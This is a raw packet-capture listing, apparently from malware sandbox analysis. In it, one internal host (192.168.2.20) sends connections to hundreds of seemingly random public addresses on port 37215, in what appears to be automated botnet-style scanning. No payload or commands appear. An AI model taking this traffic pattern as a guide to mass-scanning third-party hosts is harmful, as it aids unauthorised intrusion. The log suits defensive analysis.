Jan 22, 2024 03:59:46.445210934 CET	58015	37215	192.168.2.20	197.78.85.172
Jan 22, 2024 03:59:46.445240021 CET	58015	37215	192.168.2.20	45.130.28.73
Jan 22, 2024 03:59:46.445269108 CET	58015	37215	192.168.2.20	156.35.85.176
Jan 22, 2024 03:59:46.445270061 CET	58015	37215	192.168.2.20	41.32.162.245
Jan 22, 2024 03:59:46.445295095 CET	58015	37215	192.168.2.20	197.43.46.169
Jan 22, 2024 03:59:46.445306063 CET	58015	37215	192.168.2.20	121.220.85.218
Jan 22, 2024 03:59:46.445333004 CET	58015	37215	192.168.2.20	181.233.28.213
Jan 22, 2024 03:59:46.445350885 CET	58015	37215	192.168.2.20	197.200.199.82
Jan 22, 2024 03:59:46.445363998 CET	58015	37215	192.168.2.20	181.55.168.89
Jan 22, 2024 03:59:46.445391893 CET	58015	37215	192.168.2.20	156.68.198.233
Jan 22, 2024 03:59:46.445401907 CET	58015	37215	192.168.2.20	157.245.112.120
Jan 22, 2024 03:59:46.445416927 CET	58015	37215	192.168.2.20	156.91.86.97
Jan 22, 2024 03:59:46.445442915 CET	58015	37215	192.168.2.20	197.89.62.173
Jan 22, 2024 03:59:46.445461035 CET	58015	37215	192.168.2.20	197.251.60.48
Jan 22, 2024 03:59:46.445482016 CET	58015	37215	192.168.2.20	197.233.245.147
Jan 22, 2024 03:59:46.445498943 CET	58015	37215	192.168.2.20	197.102.166.159
Jan 22, 2024 03:59:46.445533037 CET	58015	37215	192.168.2.20	156.91.161.231
Jan 22, 2024 03:59:46.445540905 CET	58015	37215	192.168.2.20	41.64.141.88
Jan 22, 2024 03:59:46.445557117 CET	58015	37215	192.168.2.20	120.209.151.31
Jan 22, 2024 03:59:46.445580006 CET	58015	37215	192.168.2.20	41.144.252.208
Jan 22, 2024 03:59:46.445593119 CET	58015	37215	192.168.2.20	107.35.211.247
Jan 22, 2024 03:59:46.445615053 CET	58015	37215	192.168.2.20	41.28.145.177
Jan 22, 2024 03:59:46.445621014 CET	58015	37215	192.168.2.20	197.163.78.179
Jan 22, 2024 03:59:46.445636034 CET	58015	37215	192.168.2.20	156.4.190.162
Jan 22, 2024 03:59:46.445651054 CET	58015	37215	192.168.2.20	107.168.172.238
Jan 22, 2024 03:59:46.445683956 CET	58015	37215	192.168.2.20	197.226.203.67
Jan 22, 2024 03:59:46.445698023 CET	58015	37215	192.168.2.20	41.218.250.4
Jan 22, 2024 03:59:46.445718050 CET	58015	37215	192.168.2.20	156.189.136.163
Jan 22, 2024 03:59:46.445724010 CET	58015	37215	192.168.2.20	197.13.168.156
Jan 22, 2024 03:59:46.445749044 CET	58015	37215	192.168.2.20	41.137.19.66
Jan 22, 2024 03:59:46.445779085 CET	58015	37215	192.168.2.20	41.56.207.143
Jan 22, 2024 03:59:46.445779085 CET	58015	37215	192.168.2.20	156.63.222.33
Jan 22, 2024 03:59:46.445806026 CET	58015	37215	192.168.2.20	222.233.251.166
Jan 22, 2024 03:59:46.445823908 CET	58015	37215	192.168.2.20	157.252.247.154
Jan 22, 2024 03:59:46.445833921 CET	58015	37215	192.168.2.20	41.149.14.125
Jan 22, 2024 03:59:46.445864916 CET	58015	37215	192.168.2.20	94.224.22.157
Jan 22, 2024 03:59:46.445873022 CET	58015	37215	192.168.2.20	41.204.153.49
Jan 22, 2024 03:59:46.445923090 CET	58015	37215	192.168.2.20	122.169.122.209
Jan 22, 2024 03:59:46.445923090 CET	58015	37215	192.168.2.20	156.85.213.184
Jan 22, 2024 03:59:46.445935965 CET	58015	37215	192.168.2.20	154.163.139.238
Jan 22, 2024 03:59:46.445960999 CET	58015	37215	192.168.2.20	156.123.192.212
Jan 22, 2024 03:59:46.445971012 CET	58015	37215	192.168.2.20	186.230.7.155
Jan 22, 2024 03:59:46.445987940 CET	58015	37215	192.168.2.20	156.96.156.131
Jan 22, 2024 03:59:46.446008921 CET	58015	37215	192.168.2.20	41.228.116.130
Jan 22, 2024 03:59:46.446026087 CET	58015	37215	192.168.2.20	122.190.22.77
Jan 22, 2024 03:59:46.446065903 CET	58015	37215	192.168.2.20	41.8.225.115
Jan 22, 2024 03:59:46.446074009 CET	58015	37215	192.168.2.20	41.119.144.189
Jan 22, 2024 03:59:46.446074009 CET	58015	37215	192.168.2.20	197.22.226.56
Jan 22, 2024 03:59:46.446098089 CET	58015	37215	192.168.2.20	45.199.121.178
Jan 22, 2024 03:59:46.446110964 CET	58015	37215	192.168.2.20	186.50.175.138
Jan 22, 2024 03:59:46.446130991 CET	58015	37215	192.168.2.20	197.39.199.76
Jan 22, 2024 03:59:46.446151972 CET	58015	37215	192.168.2.20	156.211.234.223
Jan 22, 2024 03:59:46.446177959 CET	58015	37215	192.168.2.20	160.159.22.121
Jan 22, 2024 03:59:46.446190119 CET	58015	37215	192.168.2.20	41.188.130.173
Jan 22, 2024 03:59:46.446207047 CET	58015	37215	192.168.2.20	156.77.194.188
Jan 22, 2024 03:59:46.446222067 CET	58015	37215	192.168.2.20	181.39.83.166
Jan 22, 2024 03:59:46.446249008 CET	58015	37215	192.168.2.20	197.192.135.35
Jan 22, 2024 03:59:46.446264982 CET	58015	37215	192.168.2.20	156.152.45.8
Jan 22, 2024 03:59:46.446302891 CET	58015	37215	192.168.2.20	156.203.139.188
Jan 22, 2024 03:59:46.446302891 CET	58015	37215	192.168.2.20	121.135.255.1
Jan 22, 2024 03:59:46.446321964 CET	58015	37215	192.168.2.20	41.42.90.117
Jan 22, 2024 03:59:46.446326971 CET	58015	37215	192.168.2.20	41.197.49.2
Jan 22, 2024 03:59:46.446351051 CET	58015	37215	192.168.2.20	41.184.135.27
Jan 22, 2024 03:59:46.446361065 CET	58015	37215	192.168.2.20	156.251.114.160
Jan 22, 2024 03:59:46.446387053 CET	58015	37215	192.168.2.20	197.208.118.162
Jan 22, 2024 03:59:46.446412086 CET	58015	37215	192.168.2.20	197.87.111.51
Jan 22, 2024 03:59:46.446415901 CET	58015	37215	192.168.2.20	197.116.220.215
Jan 22, 2024 03:59:46.446444035 CET	58015	37215	192.168.2.20	156.82.181.64
Jan 22, 2024 03:59:46.446477890 CET	58015	37215	192.168.2.20	92.105.12.21
Jan 22, 2024 03:59:46.446496010 CET	58015	37215	192.168.2.20	120.107.239.213
Jan 22, 2024 03:59:46.446513891 CET	58015	37215	192.168.2.20	41.117.160.167
Jan 22, 2024 03:59:46.446523905 CET	58015	37215	192.168.2.20	160.255.97.6
Jan 22, 2024 03:59:46.446548939 CET	58015	37215	192.168.2.20	41.99.40.228
Jan 22, 2024 03:59:46.446564913 CET	58015	37215	192.168.2.20	41.110.112.4
Jan 22, 2024 03:59:46.446578979 CET	58015	37215	192.168.2.20	197.28.122.207
Jan 22, 2024 03:59:46.446616888 CET	58015	37215	192.168.2.20	197.218.28.15
Jan 22, 2024 03:59:46.446616888 CET	58015	37215	192.168.2.20	120.34.99.104
Jan 22, 2024 03:59:46.446634054 CET	58015	37215	192.168.2.20	120.215.255.69
Jan 22, 2024 03:59:46.446659088 CET	58015	37215	192.168.2.20	37.72.214.22
Jan 22, 2024 03:59:46.446681023 CET	58015	37215	192.168.2.20	156.179.229.31
Jan 22, 2024 03:59:46.446688890 CET	58015	37215	192.168.2.20	41.73.165.30
Jan 22, 2024 03:59:46.446727037 CET	58015	37215	192.168.2.20	197.240.106.204
Jan 22, 2024 03:59:46.446738958 CET	58015	37215	192.168.2.20	41.145.139.50
Jan 22, 2024 03:59:46.446752071 CET	58015	37215	192.168.2.20	156.139.25.44
Jan 22, 2024 03:59:46.446772099 CET	58015	37215	192.168.2.20	41.120.18.196
Jan 22, 2024 03:59:46.446795940 CET	58015	37215	192.168.2.20	197.67.179.94
Jan 22, 2024 03:59:46.446808100 CET	58015	37215	192.168.2.20	197.91.25.9
Jan 22, 2024 03:59:46.446820974 CET	58015	37215	192.168.2.20	37.227.47.2
Jan 22, 2024 03:59:46.446856976 CET	58015	37215	192.168.2.20	45.24.21.215
Jan 22, 2024 03:59:46.446873903 CET	58015	37215	192.168.2.20	197.138.242.216
Jan 22, 2024 03:59:46.446887016 CET	58015	37215	192.168.2.20	190.172.222.160
Jan 22, 2024 03:59:46.446902037 CET	58015	37215	192.168.2.20	157.233.193.107
Jan 22, 2024 03:59:46.446918011 CET	58015	37215	192.168.2.20	120.187.233.52
Jan 22, 2024 03:59:46.446934938 CET	58015	37215	192.168.2.20	156.169.159.146
Jan 22, 2024 03:59:46.446955919 CET	58015	37215	192.168.2.20	94.230.39.160
Jan 22, 2024 03:59:46.446966887 CET	58015	37215	192.168.2.20	156.244.198.180
Jan 22, 2024 03:59:46.446994066 CET	58015	37215	192.168.2.20	197.5.86.43
Jan 22, 2024 03:59:46.447016954 CET	58015	37215	192.168.2.20	41.154.170.4
Jan 22, 2024 03:59:46.447022915 CET	58015	37215	192.168.2.20	37.82.197.178
Jan 22, 2024 03:59:46.447040081 CET	58015	37215	192.168.2.20	102.19.81.151
Jan 22, 2024 03:59:46.447060108 CET	58015	37215	192.168.2.20	45.95.39.77
Jan 22, 2024 03:59:46.447069883 CET	58015	37215	192.168.2.20	156.95.158.99
Jan 22, 2024 03:59:46.447093010 CET	58015	37215	192.168.2.20	41.46.113.24
Jan 22, 2024 03:59:46.447103024 CET	58015	37215	192.168.2.20	92.5.252.123
Jan 22, 2024 03:59:46.447114944 CET	58015	37215	192.168.2.20	222.233.217.158
Jan 22, 2024 03:59:46.447134018 CET	58015	37215	192.168.2.20	197.45.221.72
Jan 22, 2024 03:59:46.447160959 CET	58015	37215	192.168.2.20	120.71.0.188
Jan 22, 2024 03:59:46.447175980 CET	58015	37215	192.168.2.20	41.163.200.20
Jan 22, 2024 03:59:46.447185040 CET	58015	37215	192.168.2.20	41.75.139.208
Jan 22, 2024 03:59:46.447221994 CET	58015	37215	192.168.2.20	156.210.5.252
Jan 22, 2024 03:59:46.447221994 CET	58015	37215	192.168.2.20	107.156.66.150
Jan 22, 2024 03:59:46.447241068 CET	58015	37215	192.168.2.20	41.124.171.150
Jan 22, 2024 03:59:46.447256088 CET	58015	37215	192.168.2.20	156.211.134.236
Jan 22, 2024 03:59:46.447263002 CET	58015	37215	192.168.2.20	157.206.197.174
Jan 22, 2024 03:59:46.447289944 CET	58015	37215	192.168.2.20	41.78.44.121
Jan 22, 2024 03:59:46.447304010 CET	58015	37215	192.168.2.20	197.130.148.47
Jan 22, 2024 03:59:46.447324038 CET	58015	37215	192.168.2.20	154.239.81.228
Jan 22, 2024 03:59:46.447338104 CET	58015	37215	192.168.2.20	122.131.61.5
Jan 22, 2024 03:59:46.447351933 CET	58015	37215	192.168.2.20	156.170.165.51
Jan 22, 2024 03:59:46.447380066 CET	58015	37215	192.168.2.20	197.15.211.174
Jan 22, 2024 03:59:46.447391987 CET	58015	37215	192.168.2.20	156.0.204.229
Jan 22, 2024 03:59:46.447402000 CET	58015	37215	192.168.2.20	41.99.225.72
Jan 22, 2024 03:59:46.447415113 CET	58015	37215	192.168.2.20	41.133.218.190
Jan 22, 2024 03:59:46.447438955 CET	58015	37215	192.168.2.20	222.94.181.50
Jan 22, 2024 03:59:46.447453022 CET	58015	37215	192.168.2.20	122.14.95.189
Jan 22, 2024 03:59:46.447468042 CET	58015	37215	192.168.2.20	41.16.228.46
Jan 22, 2024 03:59:46.447490931 CET	58015	37215	192.168.2.20	107.203.77.219
Jan 22, 2024 03:59:46.447501898 CET	58015	37215	192.168.2.20	154.126.220.150
Jan 22, 2024 03:59:46.447510958 CET	58015	37215	192.168.2.20	190.140.209.145
Jan 22, 2024 03:59:46.447534084 CET	58015	37215	192.168.2.20	122.99.121.168
Jan 22, 2024 03:59:46.447571039 CET	58015	37215	192.168.2.20	94.189.73.21
Jan 22, 2024 03:59:46.447571039 CET	58015	37215	192.168.2.20	222.155.196.169
Jan 22, 2024 03:59:46.447581053 CET	58015	37215	192.168.2.20	197.46.47.195
Jan 22, 2024 03:59:46.447607040 CET	58015	37215	192.168.2.20	121.96.187.26
Jan 22, 2024 03:59:46.447622061 CET	58015	37215	192.168.2.20	197.25.114.251
Jan 22, 2024 03:59:46.447647095 CET	58015	37215	192.168.2.20	197.35.136.234
Jan 22, 2024 03:59:46.447654963 CET	58015	37215	192.168.2.20	138.25.65.141
Jan 22, 2024 03:59:46.447671890 CET	58015	37215	192.168.2.20	197.124.90.35
Jan 22, 2024 03:59:46.447691917 CET	58015	37215	192.168.2.20	156.233.219.178
Jan 22, 2024 03:59:46.447716951 CET	58015	37215	192.168.2.20	95.244.200.242
Jan 22, 2024 03:59:46.447727919 CET	58015	37215	192.168.2.20	41.251.230.149
Jan 22, 2024 03:59:46.447730064 CET	58015	37215	192.168.2.20	197.153.145.14
Jan 22, 2024 03:59:46.447746992 CET	58015	37215	192.168.2.20	156.86.144.27
Jan 22, 2024 03:59:46.447762012 CET	58015	37215	192.168.2.20	41.119.226.206
Jan 22, 2024 03:59:46.447783947 CET	58015	37215	192.168.2.20	92.145.66.171
Jan 22, 2024 03:59:46.447808981 CET	58015	37215	192.168.2.20	41.40.22.91
Jan 22, 2024 03:59:46.447819948 CET	58015	37215	192.168.2.20	92.255.205.67
Jan 22, 2024 03:59:46.447854996 CET	58015	37215	192.168.2.20	157.221.70.174
Jan 22, 2024 03:59:46.447859049 CET	58015	37215	192.168.2.20	197.113.62.2
Jan 22, 2024 03:59:46.447875023 CET	58015	37215	192.168.2.20	156.109.253.134
Jan 22, 2024 03:59:46.447892904 CET	58015	37215	192.168.2.20	94.89.215.16
Jan 22, 2024 03:59:46.447911024 CET	58015	37215	192.168.2.20	196.51.121.212
Jan 22, 2024 03:59:46.447937965 CET	58015	37215	192.168.2.20	197.151.31.195
Jan 22, 2024 03:59:46.447945118 CET	58015	37215	192.168.2.20	94.162.75.26
Jan 22, 2024 03:59:46.447974920 CET	58015	37215	192.168.2.20	41.84.221.251
Jan 22, 2024 03:59:46.448019028 CET	58015	37215	192.168.2.20	156.87.174.235
Jan 22, 2024 03:59:46.448019028 CET	58015	37215	192.168.2.20	197.81.173.153
Jan 22, 2024 03:59:46.448019981 CET	58015	37215	192.168.2.20	197.67.60.164
Jan 22, 2024 03:59:46.448043108 CET	58015	37215	192.168.2.20	156.160.59.144
Jan 22, 2024 03:59:46.448069096 CET	58015	37215	192.168.2.20	197.65.46.115
Jan 22, 2024 03:59:46.448084116 CET	58015	37215	192.168.2.20	41.74.130.169
Jan 22, 2024 03:59:46.448100090 CET	58015	37215	192.168.2.20	190.46.178.115
Jan 22, 2024 03:59:46.448118925 CET	58015	37215	192.168.2.20	156.15.98.50
Jan 22, 2024 03:59:46.448132038 CET	58015	37215	192.168.2.20	94.119.40.232
Jan 22, 2024 03:59:46.448156118 CET	58015	37215	192.168.2.20	156.150.124.198
Jan 22, 2024 03:59:46.448174953 CET	58015	37215	192.168.2.20	156.107.113.175
Jan 22, 2024 03:59:46.448210001 CET	58015	37215	192.168.2.20	197.210.14.12
Jan 22, 2024 03:59:46.448211908 CET	58015	37215	192.168.2.20	190.115.246.237
Jan 22, 2024 03:59:46.448235989 CET	58015	37215	192.168.2.20	122.84.219.29
Jan 22, 2024 03:59:46.448245049 CET	58015	37215	192.168.2.20	95.65.101.218
Jan 22, 2024 03:59:46.448260069 CET	58015	37215	192.168.2.20	156.164.71.3
Jan 22, 2024 03:59:46.448276043 CET	58015	37215	192.168.2.20	41.227.44.173
Jan 22, 2024 03:59:46.448290110 CET	58015	37215	192.168.2.20	156.132.94.56
Jan 22, 2024 03:59:46.448319912 CET	58015	37215	192.168.2.20	121.30.230.108
Jan 22, 2024 03:59:46.448344946 CET	58015	37215	192.168.2.20	186.249.64.217
Jan 22, 2024 03:59:46.448355913 CET	58015	37215	192.168.2.20	197.217.9.109
Jan 22, 2024 03:59:46.448367119 CET	58015	37215	192.168.2.20	197.189.51.59
Jan 22, 2024 03:59:46.448391914 CET	58015	37215	192.168.2.20	196.199.74.199
Jan 22, 2024 03:59:46.448404074 CET	58015	37215	192.168.2.20	197.255.140.235
Jan 22, 2024 03:59:46.448427916 CET	58015	37215	192.168.2.20	160.109.191.159
Jan 22, 2024 03:59:46.448451042 CET	58015	37215	192.168.2.20	156.148.251.220
Jan 22, 2024 03:59:46.448488951 CET	58015	37215	192.168.2.20	197.75.73.129
Jan 22, 2024 03:59:46.448488951 CET	58015	37215	192.168.2.20	196.92.86.246
Jan 22, 2024 03:59:46.448503017 CET	58015	37215	192.168.2.20	138.197.123.208
Jan 22, 2024 03:59:46.448533058 CET	58015	37215	192.168.2.20	102.250.183.76
Jan 22, 2024 03:59:46.448543072 CET	58015	37215	192.168.2.20	138.62.44.119
Jan 22, 2024 03:59:46.448549986 CET	58015	37215	192.168.2.20	92.146.147.78
Jan 22, 2024 03:59:46.448579073 CET	58015	37215	192.168.2.20	222.187.120.229
Jan 22, 2024 03:59:46.448597908 CET	58015	37215	192.168.2.20	41.208.231.143
Jan 22, 2024 03:59:46.448625088 CET	58015	37215	192.168.2.20	92.24.23.5
Jan 22, 2024 03:59:46.448625088 CET	58015	37215	192.168.2.20	41.113.2.102
Jan 22, 2024 03:59:46.448645115 CET	58015	37215	192.168.2.20	154.29.98.98
Jan 22, 2024 03:59:46.448661089 CET	58015	37215	192.168.2.20	222.190.232.28
Jan 22, 2024 03:59:46.448687077 CET	58015	37215	192.168.2.20	41.4.222.176
Jan 22, 2024 03:59:46.448710918 CET	58015	37215	192.168.2.20	41.94.52.22
Jan 22, 2024 03:59:46.448741913 CET	58015	37215	192.168.2.20	222.218.68.169
Jan 22, 2024 03:59:46.448745012 CET	58015	37215	192.168.2.20	156.184.65.129
Jan 22, 2024 03:59:46.448761940 CET	58015	37215	192.168.2.20	41.64.139.233
Jan 22, 2024 03:59:46.448779106 CET	58015	37215	192.168.2.20	181.74.106.127
Jan 22, 2024 03:59:46.448793888 CET	58015	37215	192.168.2.20	156.4.186.181
Jan 22, 2024 03:59:46.448816061 CET	58015	37215	192.168.2.20	156.116.201.18
Jan 22, 2024 03:59:46.448833942 CET	58015	37215	192.168.2.20	197.206.144.193
Jan 22, 2024 03:59:46.448853016 CET	58015	37215	192.168.2.20	94.249.176.96
Jan 22, 2024 03:59:46.448863983 CET	58015	37215	192.168.2.20	41.155.57.70
Jan 22, 2024 03:59:46.448889971 CET	58015	37215	192.168.2.20	41.160.159.151
Jan 22, 2024 03:59:46.448900938 CET	58015	37215	192.168.2.20	197.62.108.182
Jan 22, 2024 03:59:46.448919058 CET	58015	37215	192.168.2.20	156.56.50.72
Jan 22, 2024 03:59:46.448964119 CET	58015	37215	192.168.2.20	41.75.213.157
Jan 22, 2024 03:59:46.448964119 CET	58015	37215	192.168.2.20	94.66.45.252
Jan 22, 2024 03:59:46.448980093 CET	58015	37215	192.168.2.20	92.2.189.210
Jan 22, 2024 03:59:46.448992014 CET	58015	37215	192.168.2.20	94.0.169.214
Jan 22, 2024 03:59:46.449018955 CET	58015	37215	192.168.2.20	41.51.172.142
Jan 22, 2024 03:59:46.449042082 CET	58015	37215	192.168.2.20	41.180.229.64
Jan 22, 2024 03:59:46.449068069 CET	58015	37215	192.168.2.20	156.106.129.156
Jan 22, 2024 03:59:46.449074984 CET	58015	37215	192.168.2.20	122.116.194.139
Jan 22, 2024 03:59:46.449104071 CET	58015	37215	192.168.2.20	107.16.83.67
Jan 22, 2024 03:59:46.449109077 CET	58015	37215	192.168.2.20	37.247.25.98
Jan 22, 2024 03:59:46.449130058 CET	58015	37215	192.168.2.20	156.236.108.198
Jan 22, 2024 03:59:46.449136019 CET	58015	37215	192.168.2.20	156.250.229.59
Jan 22, 2024 03:59:46.449165106 CET	58015	37215	192.168.2.20	120.125.100.194
Jan 22, 2024 03:59:46.449177027 CET	58015	37215	192.168.2.20	41.16.84.138
Jan 22, 2024 03:59:46.449201107 CET	58015	37215	192.168.2.20	41.114.250.46
Jan 22, 2024 03:59:46.449235916 CET	58015	37215	192.168.2.20	41.187.246.210
Jan 22, 2024 03:59:46.449239016 CET	58015	37215	192.168.2.20	154.95.151.23
Jan 22, 2024 03:59:46.449254036 CET	58015	37215	192.168.2.20	37.124.111.206
Jan 22, 2024 03:59:46.449273109 CET	58015	37215	192.168.2.20	154.200.10.249
Jan 22, 2024 03:59:46.449284077 CET	58015	37215	192.168.2.20	197.61.113.10
Jan 22, 2024 03:59:46.449314117 CET	58015	37215	192.168.2.20	190.107.159.203
Jan 22, 2024 03:59:46.449328899 CET	58015	37215	192.168.2.20	41.47.107.249
Jan 22, 2024 03:59:46.449346066 CET	58015	37215	192.168.2.20	95.111.167.140
Jan 22, 2024 03:59:46.449376106 CET	58015	37215	192.168.2.20	196.56.246.206
Jan 22, 2024 03:59:46.449377060 CET	58015	37215	192.168.2.20	197.203.154.29
Jan 22, 2024 03:59:46.449414968 CET	58015	37215	192.168.2.20	154.8.239.71
Jan 22, 2024 03:59:46.449418068 CET	58015	37215	192.168.2.20	186.143.118.142
Jan 22, 2024 03:59:46.449438095 CET	58015	37215	192.168.2.20	156.67.194.235
Jan 22, 2024 03:59:46.449455976 CET	58015	37215	192.168.2.20	156.82.24.110
Jan 22, 2024 03:59:46.449475050 CET	58015	37215	192.168.2.20	41.12.118.182
Jan 22, 2024 03:59:46.449486017 CET	58015	37215	192.168.2.20	197.16.38.151
Jan 22, 2024 03:59:46.449511051 CET	58015	37215	192.168.2.20	94.174.108.68
Jan 22, 2024 03:59:46.449528933 CET	58015	37215	192.168.2.20	186.138.10.178
Jan 22, 2024 03:59:46.449546099 CET	58015	37215	192.168.2.20	197.1.179.110
Jan 22, 2024 03:59:46.449558020 CET	58015	37215	192.168.2.20	41.8.47.0
Jan 22, 2024 03:59:46.449577093 CET	58015	37215	192.168.2.20	197.108.112.252
Jan 22, 2024 03:59:46.449594975 CET	58015	37215	192.168.2.20	196.149.157.206
Jan 22, 2024 03:59:46.449620008 CET	58015	37215	192.168.2.20	37.83.216.19
Jan 22, 2024 03:59:46.449655056 CET	58015	37215	192.168.2.20	121.89.139.129
Jan 22, 2024 03:59:46.449655056 CET	58015	37215	192.168.2.20	41.223.158.123
Jan 22, 2024 03:59:46.449666977 CET	58015	37215	192.168.2.20	107.46.49.11
Jan 22, 2024 03:59:46.449682951 CET	58015	37215	192.168.2.20	197.255.33.78
Jan 22, 2024 03:59:46.449712992 CET	58015	37215	192.168.2.20	197.53.18.184
Jan 22, 2024 03:59:46.449728966 CET	58015	37215	192.168.2.20	181.232.155.4
Jan 22, 2024 03:59:46.449754000 CET	58015	37215	192.168.2.20	41.37.92.119
Jan 22, 2024 03:59:46.449764967 CET	58015	37215	192.168.2.20	156.133.238.149
Jan 22, 2024 03:59:46.449779034 CET	58015	37215	192.168.2.20	156.44.243.30
Jan 22, 2024 03:59:46.449804068 CET	58015	37215	192.168.2.20	156.142.112.63
Jan 22, 2024 03:59:46.449820995 CET	58015	37215	192.168.2.20	122.125.174.156
Jan 22, 2024 03:59:46.449858904 CET	58015	37215	192.168.2.20	41.152.139.204
Jan 22, 2024 03:59:46.449877977 CET	58015	37215	192.168.2.20	92.169.34.174
Jan 22, 2024 03:59:46.449894905 CET	58015	37215	192.168.2.20	196.185.245.152
Jan 22, 2024 03:59:46.449918032 CET	58015	37215	192.168.2.20	95.246.72.235
Jan 22, 2024 03:59:46.449928999 CET	58015	37215	192.168.2.20	197.34.7.23
Jan 22, 2024 03:59:46.449949980 CET	58015	37215	192.168.2.20	121.62.210.159
Jan 22, 2024 03:59:46.449965954 CET	58015	37215	192.168.2.20	94.168.92.81
Jan 22, 2024 03:59:46.449978113 CET	58015	37215	192.168.2.20	41.187.240.26
Jan 22, 2024 03:59:46.450010061 CET	58015	37215	192.168.2.20	156.204.224.40
Jan 22, 2024 03:59:46.450026989 CET	58015	37215	192.168.2.20	41.128.226.6
Jan 22, 2024 03:59:46.450042963 CET	58015	37215	192.168.2.20	41.141.99.188
Jan 22, 2024 03:59:46.450056076 CET	58015	37215	192.168.2.20	160.202.204.194
Jan 22, 2024 03:59:46.450073004 CET	58015	37215	192.168.2.20	156.15.3.237
Jan 22, 2024 03:59:46.450099945 CET	58015	37215	192.168.2.20	41.57.67.56
Jan 22, 2024 03:59:46.450134993 CET	58015	37215	192.168.2.20	156.108.26.190
Jan 22, 2024 03:59:46.450134993 CET	58015	37215	192.168.2.20	156.159.15.55
Jan 22, 2024 03:59:46.450159073 CET	58015	37215	192.168.2.20	94.213.90.62
Jan 22, 2024 03:59:46.450174093 CET	58015	37215	192.168.2.20	156.236.208.247
Jan 22, 2024 03:59:46.450198889 CET	58015	37215	192.168.2.20	156.135.23.71
Jan 22, 2024 03:59:46.450206041 CET	58015	37215	192.168.2.20	41.79.204.54
Jan 22, 2024 03:59:46.450227976 CET	58015	37215	192.168.2.20	156.194.106.189
Jan 22, 2024 03:59:46.450238943 CET	58015	37215	192.168.2.20	154.254.69.215
Jan 22, 2024 03:59:46.450263023 CET	58015	37215	192.168.2.20	197.247.55.176
Jan 22, 2024 03:59:46.450297117 CET	58015	37215	192.168.2.20	41.153.199.104
Jan 22, 2024 03:59:46.450300932 CET	58015	37215	192.168.2.20	156.199.246.97
Jan 22, 2024 03:59:46.450325966 CET	58015	37215	192.168.2.20	197.14.6.234
Jan 22, 2024 03:59:46.450337887 CET	58015	37215	192.168.2.20	41.138.60.128
Jan 22, 2024 03:59:46.450360060 CET	58015	37215	192.168.2.20	41.206.48.138
Jan 22, 2024 03:59:46.450375080 CET	58015	37215	192.168.2.20	156.173.131.16
Jan 22, 2024 03:59:46.450391054 CET	58015	37215	192.168.2.20	197.138.7.148
Jan 22, 2024 03:59:46.450407028 CET	58015	37215	192.168.2.20	41.114.47.136
Jan 22, 2024 03:59:46.450427055 CET	58015	37215	192.168.2.20	138.118.155.144
Jan 22, 2024 03:59:46.450444937 CET	58015	37215	192.168.2.20	45.115.219.144
Jan 22, 2024 03:59:46.450458050 CET	58015	37215	192.168.2.20	156.233.247.13
Jan 22, 2024 03:59:46.450474977 CET	58015	37215	192.168.2.20	156.1.236.36
Jan 22, 2024 03:59:46.450490952 CET	58015	37215	192.168.2.20	138.208.29.208
Jan 22, 2024 03:59:46.450520039 CET	58015	37215	192.168.2.20	92.76.47.1
Jan 22, 2024 03:59:46.450537920 CET	58015	37215	192.168.2.20	156.28.232.192
Jan 22, 2024 03:59:46.450555086 CET	58015	37215	192.168.2.20	156.149.21.43
Jan 22, 2024 03:59:46.450573921 CET	58015	37215	192.168.2.20	156.151.125.0
Jan 22, 2024 03:59:46.450589895 CET	58015	37215	192.168.2.20	197.47.189.12
Jan 22, 2024 03:59:46.450607061 CET	58015	37215	192.168.2.20	156.120.210.50
Jan 22, 2024 03:59:46.450628996 CET	58015	37215	192.168.2.20	196.64.204.244
Jan 22, 2024 03:59:46.450644970 CET	58015	37215	192.168.2.20	156.218.24.24
Jan 22, 2024 03:59:46.450658083 CET	58015	37215	192.168.2.20	156.94.64.65
Jan 22, 2024 03:59:46.450680971 CET	58015	37215	192.168.2.20	41.107.60.50
Jan 22, 2024 03:59:46.450700998 CET	58015	37215	192.168.2.20	41.58.121.4
Jan 22, 2024 03:59:46.450720072 CET	58015	37215	192.168.2.20	197.174.64.125
Jan 22, 2024 03:59:46.450743914 CET	58015	37215	192.168.2.20	190.202.224.137
Jan 22, 2024 03:59:46.450754881 CET	58015	37215	192.168.2.20	41.238.147.143
Jan 22, 2024 03:59:46.450776100 CET	58015	37215	192.168.2.20	41.141.149.66
Jan 22, 2024 03:59:46.450807095 CET	58015	37215	192.168.2.20	156.43.81.60
Jan 22, 2024 03:59:46.450812101 CET	58015	37215	192.168.2.20	41.96.17.128
Jan 22, 2024 03:59:46.450828075 CET	58015	37215	192.168.2.20	107.164.205.65
Jan 22, 2024 03:59:46.450849056 CET	58015	37215	192.168.2.20	222.14.183.71
Jan 22, 2024 03:59:46.450865984 CET	58015	37215	192.168.2.20	41.149.208.122
Jan 22, 2024 03:59:46.450879097 CET	58015	37215	192.168.2.20	197.102.171.252
Jan 22, 2024 03:59:46.450891018 CET	58015	37215	192.168.2.20	156.213.36.45
Jan 22, 2024 03:59:46.450920105 CET	58015	37215	192.168.2.20	41.245.160.1
Jan 22, 2024 03:59:46.450939894 CET	58015	37215	192.168.2.20	120.192.50.79
Jan 22, 2024 03:59:46.450958014 CET	58015	37215	192.168.2.20	197.221.240.241
Jan 22, 2024 03:59:46.450974941 CET	58015	37215	192.168.2.20	156.56.88.90
Jan 22, 2024 03:59:46.450994968 CET	58015	37215	192.168.2.20	197.210.136.119
Jan 22, 2024 03:59:46.451013088 CET	58015	37215	192.168.2.20	197.243.77.65
Jan 22, 2024 03:59:46.451023102 CET	58015	37215	192.168.2.20	154.186.15.208
Jan 22, 2024 03:59:46.451055050 CET	58015	37215	192.168.2.20	156.80.40.104
Jan 22, 2024 03:59:46.451066017 CET	58015	37215	192.168.2.20	156.245.141.21
Jan 22, 2024 03:59:46.451076984 CET	58015	37215	192.168.2.20	157.81.132.43
Jan 22, 2024 03:59:46.451098919 CET	58015	37215	192.168.2.20	41.41.8.43
Jan 22, 2024 03:59:46.451114893 CET	58015	37215	192.168.2.20	121.116.248.80
Jan 22, 2024 03:59:46.451133013 CET	58015	37215	192.168.2.20	181.202.103.231
Jan 22, 2024 03:59:46.451158047 CET	58015	37215	192.168.2.20	41.203.124.3
Jan 22, 2024 03:59:46.451179028 CET	58015	37215	192.168.2.20	222.147.161.227
Jan 22, 2024 03:59:46.451204062 CET	58015	37215	192.168.2.20	197.40.167.213
Jan 22, 2024 03:59:46.451232910 CET	58015	37215	192.168.2.20	92.164.16.68
Jan 22, 2024 03:59:46.451427937 CET	42072	37215	192.168.2.20	197.246.47.2
Jan 22, 2024 03:59:46.451427937 CET	42072	37215	192.168.2.20	197.246.47.2
